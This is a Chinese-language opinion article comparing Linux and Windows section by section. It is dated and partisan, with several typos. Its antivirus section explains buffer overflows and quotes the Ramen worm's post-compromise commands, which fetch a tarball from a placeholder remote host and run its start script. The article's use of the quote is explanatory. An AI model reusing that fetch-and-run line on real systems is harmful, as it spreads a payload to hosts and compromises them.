Linux是一套免費使用和自由傳播的類UNIX操作系統,主要用於基於Intel x86系列CPU的計算機上。Linux系統是由全世界各地的成千上萬的程序員設計和實現的,其目的是建立不受任何商品化軟件的版權所制約的、全世界都能自由使用的UNIX兼容產品。Windows同樣主要用於基於Intel x86系列CPU的計算機上。本文將它們作一個比較。
(一) 編程篇
一般人們習慣於認為Linus是Linux的締造者,在Linux包含的數以千計的文件中,也有一個名為Credits的文件記錄了主要的Linux Hacker們的姓名和電子郵件地址(這個列表中包含了100多個名字,世界各地的都有),但沒有人說得清究竟有多少人參與了Linux的改進。這一游戲到今天並沒有隨著時間的推移而停止,相反卻因為Linux的日益流行而愛好者甚眾。因此開始使用Linux就猶如加入了一個高手如雲的編程組織。你可以通過互聯網隨時了解來自地球的某一個角落的該領域的最新進展;如果你的英文足夠好,加入一個討論組,你就可以得到不知來自什麼地方的神密高手的點撥。由於GPL的存在,你還可以得到開放的源代碼,從而不用發愁學習資料的來源。隨著更多專業公司的介入,Linux可以提供的開發工具的功能也越發強大。如TurboLinux就具有強大的應用程序開發環境,提供了各種開發應用程序的工具,具有對多種語言如:C、C++、Java、Perl、Tcl/tk、Python和Fortran 77的編譯器/解釋器,以及集成開發環境、調試和其他開發工具。再如Janus Software公司開發的被稱為Linux版VB的Phoenix Object Basic,它是一套獨特的面向對象的Linux RAD(Rapid Application Development,快速應用軟件開發工具)。它綜合了Python 和Perl等面向對象編程語言的強大功能,同時,提供了類似 Visual Basic 的易用性。熟悉Windows環境下Visual Basic的編程者都可以順利地使用Phoenix Object Basic。LynuxWorks 公司的VisualLynux可以和微軟的Visual C++相媲美,它集成了微軟Visual C++開發工具以支持Linux操作系統的產品,它不但兼容LynuxWorks公司的 BlueCat Linux,而且還兼容其他的Linux 2.2.12版本。LynuxWorks 公司甚至聲稱從此Visual C++ 就具備了開發嵌入式 Linux 應用程序的能力。嵌入式 Linux 系統現在相當熱門,已經廣泛地應用在各式各樣的通信基礎產品。Linux可以完成任何Windows下的編程任務。這一篇,LINUX占了上風。
(二) 運行平台篇
在這個IT技術日新月異的年代,盡管每個IT廠商都嚷著他們的產品可以有效地降低我們的TCO(總擁有成本),可我們手裡設備的折舊速度還是在不斷加快。如果你肯聽我的,我會說這世上從來就沒有救世主,還是試試我推薦的Linux吧。
Linux非常小,可以有效地利用硬件。Linux的最小安裝僅需要4MB內存,而你也可以在你的486機器上安裝Linux並將其用做防火牆或Web服務器。我記得的Linux論壇有人用二手386建立了路由器和防火牆。Linux內核允許在運行時裝載和卸載硬件的驅動程序。這樣因為不必裝載全部的驅動程序,就可以最大化地使用內存。總之Linux可以使老機器獲得新生,節省我們的財力。而Windows2000 SERVER在P166+64M下運行如同像蝸牛一樣慢,有時會逼瘋你。 這一篇,LINUX占了上風。
(三) 硬件支持篇
由於開放源代碼的特點LINUX得到AMD和INTEL公司的關注。因為這兩家公司都希望在64位芯片時代能夠和開放源代碼的操作系統系統緊密聯系LINUX的發展速度急快,從它的內核就可以看出。LINUX比其他操作系統更能適應芯片技術發展。在2001年的LINUX大會上,IBM帶來為LINUX制作的電子商務套間WEBSHERE COMMERCE 5.1,HP帶來為LINUX制作的電子商務套間HP SECURE OS SOFTWARE FOR Linux。現在LINUX可以廣泛運行在64位芯片構架中,包括Compaq Alpha, SGI MIPS,Sun UltraSparc。而WINDOWS落後一步。 最新的Linux內核——2。.52版中最引人注意的改進就是Iinux內核開始支持最新的usB技術。usB 2.0可以確保數據傳輸速度達到480Mb/s,這個速度是usBl.1最高傳輸速度的40倍。usB 2.0模塊一般沒有內置在計算機系統當中。現在更為流行的是使用Firewire標准來實現高速連接功能,比如連接視頻頭、硬盤等等。微軟已經編寫了支持usB 2.0“的代碼,但是在最新的操作系統windows xP中卻不支持USB 2.0。 這一篇,LINUX占了上風。
(四) 網絡篇
Linux的組網能力非常強大,它的TCP/IP代碼是最高級的。Linux提供了對於當前的TCP/IP協議的完全支持,並且包括了對下一代Internet。協議Ipv6的支持。Linux內核還包括了IP防火牆代碼、IP防偽、IP服務質量控制及許多安全特性。這些特性可以和像Cisco這樣的公司提供的高端路由設備的特性相媲美。此外,利用Redhat Linux 提供的Samba 組(並不是RedHat Linux獨有),Linux 可以作為Windows 客戶機的打印和文件服務器,還可以用做NT的文件和打印服務器。運用Linux包含的AppleTalk模塊,Linux甚至可以作為一個Macintosh客戶機的文件和打印服務器。讓Apache 這個世界上應用范圍最廣的Web服務器軟件系統跑在Linux上,你就可以運行自己的Intranet或者Internet web服務器。Linux還包含了一個Ftp 服務程序、一個電子郵件傳輸代理程序以及,POP和IMAP郵件服務程序。如果你願意,你還可以在Internet上免費獲得一個Linux的LDAP服務程序。性能超群穩定的APACHE服務器也是許多網絡管理員選擇LINUX的原因如果我們沒有機會選擇UNIX,LINUX是個好選擇,微軟的IIS是無法與之匹敵。 這一篇,LINUX占了上風。
(五) 設備驅動篇
早期的LINUX對硬件設備的支持不好,大家拒絕使用的一個重要方面是驅動程序不好找。不過隨著內核升級到2.4各個主要LINUX軟件提供商的產品已經可以識別象刻錄機,掃描儀等新設備。不過和微軟件安裝驅動,LINUX占了下風 。
(六) UNIX能力篇
Linux為廣大用戶提供了一個在家裡學習和使用Unix操作系統的機會。盡管Linux是由計算機愛好者們開發的,但是它在很多方面上是相當穩定的,從而為用戶學習和使用目前世界上最流行的Unix操作系統提供了廉價的機會。現在有許多CD-ROM供應商和軟件公司(如RedHat和TurboLinux)支持Linux操作系統。Linux成為Unix系統在個人計算機上的一個代用品,並能用於替代那些較為昂貴的系統。因此,如果一個用戶在公司上班的時候在Unix系統上編程,或者在工作中是一位Unix的系統管理員,他就可以在家裡安裝一套Unix的兼容系統,即Linux系統,在家中使用Linux就能夠完成一些工作任務。
這一篇,LINUX占了上風 。
(七)性能篇
Linux操作系統在短短的幾年之內得到了非常迅猛的發展,這與Linux具有的良好特性是分不開的。Linux包含了Unix的全部功能和特性。簡單的說,Linux具有以下主要特性:
1、開放性
開放性是指系統遵循世界標准規范,特別是遵循開放系統互連(OSI)國際標准。凡遵循國際標准所開發的硬件和軟件,都能彼此兼容,可方便地實現互連。
2、多用戶
多用戶是指系統資源可以被不同用戶各自擁有使用,即每個用戶對自己的資源(例如:文件、設備)有特定的權限,互不影響。Linux和Unix都具有多用戶的特性。
3、多任務
多任務是現代計算機的最主要的一個特點。它是指計算機同時執行多個程序,而且各個程序的運行互相獨立。Linux系統調度每一個進程平等地訪問微處理器。由於CPU的處理速度非常快,其結果是,啟動的應用程序看起來好像在並行運行。事實上,從處理器執行一個應用程序中的一組指令到Linux調度微處理器再次運行這個程序之間只有很短的時間延遲,用戶是感覺不出來的。
經過對最重量級的數據庫ORACLE 8.1.6測試,在LINUX下的運行速度比在WIN2000 SERVER要快35%。這一篇,LINUX占了上風。
(八)創新篇
Linux是自由軟件,而自由軟件和非自由軟的區別在於:
1. 自由軟件是開放的,成千上萬的人可以檢查這個軟件,快速地找到並修改其錯誤碼。
2. 最終用戶可以按照自己的意願自定義自由軟件,有特殊需要的用戶也可以完全按照他們認為合適的方式定制自己的Linux。
3. 自由軟件為了防止重復發明,通過共享源代碼和思想來節省很多工作量。
以上這些特性是不是對有想法的好事者有莫大的吸引力?不僅如此,Linux由於自身的優點,應用領域也越來越廣泛。如最近嵌入式Linux的應用相當熱門,已廣泛應用於包括筆記本電腦、連網裝置、網絡電視等在內的各式各樣的通信基礎產品,而嵌入式操作系統正日益成為一種勢不可擋的流行趨勢,最終電腦、通訊、家電會因為它的存在而成為一體。這些也為有想法的好事者提供了更廣闊的發揮空間。在夢想就是力量的今天,沒有了創新能力是不可想象的。 如果你總是使用微軟的開發工具,你一生只能做個操作人員。 。這一篇,LINUX占了上風
(九)防病毒篇
1998年的CIH病毒讓全世界人民為之膽怯,隨之而來的基於OUTLOOK傳播美莉莎,歡樂時光等病毒更是是IT行業以及相關領域損失慘重。。而LINUX方面關於世界上第一個Linux病毒——reman已經出現的說法,我們得到該病毒的有關資料和樣本之後發現,嚴格地說,reman並不能被稱為病毒。實際上這是一個古老的,在NIX/Linux世界早已存在的“緩沖區溢出”攻擊程序。幾乎所有UNIX/Linux版本中都或多或少地存在這樣的問題。第一次此種類型的攻擊(morris worm),到現在已經十多年了,並不是等到現在才“出現”的。事實上針對windows 98/NT的緩沖區溢出攻擊也是很常見的。
緩沖區溢出的原理是:向一個有限空間的緩沖區拷貝了過長的字符串,覆蓋相鄰的存儲單元,會引起程序運行失敗。因為自動變量保存在堆棧當中,當發生緩沖區溢出的時候,存儲在堆棧中的函數反回地址也會被覆蓋從而無法從發生溢出的函數正常返回(返回地址往往是一個無效的地址),在這樣的情況下系統一般報告:“core dump”或“segment fault”。嚴重的是:如果覆蓋緩沖區的是一段精心設計的機器指令序列,它可能通過溢出,改變返回地址,將其指向自己的指令序列,從而改變該程序的正常流程。這段精心設計的指令一般的目的是:“/bin/sh”,所以這段代碼被稱為:“shell code”。通過這樣的溢出可以得到一個shell,僅此而已。但是,如果被溢出是一個suid root程序,得到的將是一個root shell。這樣機器的控制權已經易手,此後發生的任何事情都是合理的。
下面我們回到reman。它首先對網絡上的主機進行掃描,通過兩個普通的漏洞進入系統,獲取root權限,然後從源主機復制自身,以繼續掃描網上其他服務器。對於Red Hat 6.2來講,如果攻擊成功,它會做以下工作:
mkdir /usr/src/.poop;cd /usr/src/.poop export TERM=vt100 lynx -source http://FROMADDR:27374 > /usr/src/.poop/rame.tgz cp ramen.tgz /tmp gzip -d ramen.tgz;tar -xvf ramen.tar;./start.sh echo Eat Your Ramen! mail -s TOADDR -c
很明顯,reman只是一個自動化了的緩沖區溢出程序,而且是很普通的一種。目前緩沖區溢出攻擊是非常普遍的一種攻擊,黑客網站對各類系統的漏洞的發布幾乎每日更新。但是這種攻擊方式並不是不可避免,目前已有很多對付該類攻擊的方案。這一篇,LINUX占了上風。
(十)穩定能力篇
運行Linux的機器啟動一次可以運行數月。Linux提供了完全的內存保護,每個進程都運行在自己的虛擬地址空間中,並且不會損壞其他進程或內核使用的地址空間。任務與內核間也是相互隔離,即行為不良或編寫不良的程序只能毀壞自己。因此被破壞的進程幾乎不可能使系統崩潰。Linux在和Windows98和NT在安全性的較量中占有上風,和Windows2000的情況又怎麼樣呢?資深的系統安全分析家指出:Windows 2000在網絡系統,服務器連接方面的工作准備不足,Linux仍然是目前最安全的操作系統。資深的系統安全分析家還預計到今年年底Windows 2000才能完成測試、除蟲工作,而微軟的WONDOWS XP推出不久,筆者不敢多家評論。目前比較安全的操作系統仍然是商業版本的UNIX和Linux。資深的系統安全分析家肯定地認為:在未來的5年裡,Linux將成為最安全的操作系統。到2005年,管理和使用Linux將是一件十分容易的事情。LINUX在本篇占了上風。
(十一)購買能力篇
這是一個不容回避的問題。因為價格原因,每個人都可以擁有正版的Linux。此外除了技術上的原因,它更大的意義是代表了一種開放性的軟件開發及開放模式,並徹底打破了越優秀的軟件價格越高這一傳統定式Linux還是一個完全開放的系統。它支持各種像POSIX標准這樣的開放標准和TCP/IP的Internet工程任務組標准。由於避免了專有的API(應用程序接口)和協議,可以減少對單一供應商的依賴。這樣就不會出現像使用專用系統的情況:一旦犯了錯誤,只能繼續使用原來的系統供用商的產品。也就是不會出現先享受低價,而在後期需要付出高額服務費的情況。本篇中LINUX占了上風。
(十二)安裝難易篇
早期的LINUX安裝復雜對於新手更要冒丟失數據的風險。不過隨著內核升級到2.4後各個主要LINUX軟件提供商的產品安裝已經變得簡單。不過和微軟件安裝相比,Linux占了下風
(十三)總結篇
開放源代碼是大勢所趨,Linux前途廣闊,但道路是艱苦卓絕。微軟在IT業不景氣的情況下,仍然保持著兩位數增長。而一些LINUX廠商(如VI LINUX)出現大幅虧損。。還有一個問題現在一些LINUX廠商熱衷於把Linux的XWINDOWS做的很好媒體也大加宣傳,Linux的優勢在於網絡,嵌入式信息家電.和微軟拼桌面是不明智的。微軟是一個整體,Linux廠商要防止被各個擊破。我喜歡Linux但我也不想看到微軟倒下,只有競爭才能是消費者得到好處。